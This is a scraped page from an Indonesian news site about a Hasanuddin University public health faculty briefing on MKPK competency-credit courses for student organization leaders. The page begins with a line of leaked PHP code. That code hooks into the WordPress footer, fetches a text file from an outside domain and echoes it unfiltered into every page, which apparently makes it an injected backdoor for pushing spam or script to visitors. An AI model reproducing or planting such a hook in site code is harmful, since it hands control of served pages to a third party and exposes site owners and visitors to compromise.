function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Perkuat Kompetensi Mahasiswa : FKM Unhas Gelar Sosialisasi MKPK Kepada Pengurus Lembaga Mahasiswa - Suluh Nusantara

Home / Berita / Pendidikan / Regional

Kamis, 29 Februari 2024 - 23:56 WIB

Perkuat Kompetensi Mahasiswa : FKM Unhas Gelar Sosialisasi MKPK Kepada Pengurus Lembaga Mahasiswa

Doc. Sosialisasi MKPK Kepada Pengurus Lembaga Mahasiswa (Istimewa)

Doc. Sosialisasi MKPK Kepada Pengurus Lembaga Mahasiswa (Istimewa)

Fakultas Kesehatan Masyarakat (FKM) Universitas Hasanuddin (Unhas) menggelar sosialisasi Mata Kuliah Penguatan Kompetensi (MKPK) pada hari Kamis, 29 Februari 2024 di Aula Prof Dr. Nur Nasry Noor, MPH.  Peserta kegiatan sosialisasi ini merupakan Pengurus dari Lembaga Mahkamah Mahasiswa, Maperwa, PJS BEM, serta Pengurus Inti Forma Kesmas dan Forma Gizi FKM Unhas.

Mata Kuliah Penguatan Kompetensi ini merupakan respons Universitas Hasanuddin terkait Kebijakan Menteri Pendidikan Kebudayaan Riset dan Teknologi berupa Merdeka Belajar Kampus Merdeka (MBKM) dimana pada Kurikulum 23 mahasiswa diwajibkan untuk mengambil 10 sks MKPK untuk rumpun kesehatan dan 20 sks untuk rumpun non-kesehatan. Adanya MKPK sebagai mekanisme yang dapat menjustifikasi kegiatan kelembagaan yang dilakukan oleh mahasiswa sebagai komplementer dari kegiatan akademik sehingga mahasiswa dapat mengaplikasikan softskill dan mendapatkan pengakuan secara formal dari pihak kampus.

Baca Juga  RS Wahidin Sudirohusodo Luncurkan Program SPEAK AND LEARN untuk Tingkatkan Kinerja Organisasi

Kegiatan sosialisasi ini dibuka oleh Wakil Dekan Bidang Akademik dan Kemahasiswaan FKM Unhas Dr. Wahiduddin, SKM, M.Kes, yang mengungkapkan bahwa sosialisasi ini bertujuan untuk memperjelas mekanisme sistem dan komponen poin penilaian kegiatan kepada para pengurus kelembagaan tingkat fakultas sehingga klaim konversi sks dapat berjalan lebih optimal.

Muhammad Irdham Ferdiansyah, S.E., M.Acc., Ph.D. selaku Kepala Subdirektorat Kelembagaan Mahasiswa Universitas Hasanuddin menjelaskan tentang  prosedur penilaian dan juga klaim sks dari MKPK. Kelompok kegiatan yang dapat diberikan sebagai penguatan kompetensi mahasiswa meliputi bidang kompetisi, kewirausahaan, keorganisasian, kepesertaan, pengabdian masyarakat, magang/studi independent, publikasi ilmiah serta bidang berbasis minat dan bakat pendukung. Rubrik dan pedoman MKPK dapat diakses secara lengkap dengan membuka website “Sipakamase” dengan menggunakan akun neosia mahasiswa. Irdham juga berharap dengan adanya sosialisasi kepada pengurus kelembagaan dapat membantu penyebaran informasi terkait MKPK dan juga dapat mengemas kegiatan agar dapat selaras berdasarkan rubrik penilaian MKPK. “Salah satu upaya yang bisa dilakukan untuk menarik mahasiswa angkatan 2023 untuk terlibat di lembaga adalah dengan mengklaim sks tiap tahapan pengkaderan sebagai kepesertaan, sehingga ada kebutuhan mahasiswa untuk ikut berlembaga, bukan lagi sebatas doktrin buta namun juga mengedepankan rasionalitas” ucap Irdham.

Share :

Baca Juga

Berita

Mahasiswa Posko 02 PBL II FKM UNHAS Gencar Lakukan Intervensi Intervensi Nutrisi (PINTAR) TTD Door to Door Pada Remaja Putri di Balocci Baru

Berita

Membentuk Generasi Berkualitas tanpa HIV/AIDS, Posko 32 PBL II FKM Unhas Menggelar Penyuluhan dengan Media Booklet

Berita

Optimalkan Lingkungan Hidup: Sosialisasi Efektif Pengelolaan Sampah Organik Menjadi Pupuk Kompos

Berita

Mahasiswa KKNT Unhas Lakukan Gerakan Bersih Desa di Pamatata, Selayar

Berita

FKM UNHAS MENYELENGGARAKAN KEGIATAN AKREDITASI PROGRAM STUDI MAGISTER KESELAMATAN DAN KESEHATAN KERJA

Berita

Mahasiswa KKNT Unhas Gelombang 110 Lakukan Program Rematri Bebas Anemia di MTsN 2 Selayar untuk Cegah Stunting

Berita

FKM Unhas Gelar Edukasi Jajanan Sehat Bagi Siswa SDN Lakkang dalam Program Bina Desa

Berita

Tim PKM E-Health School Report Gelar Kegiatan Pengabdian kepada Masyarakat di SMAN 7 Takalar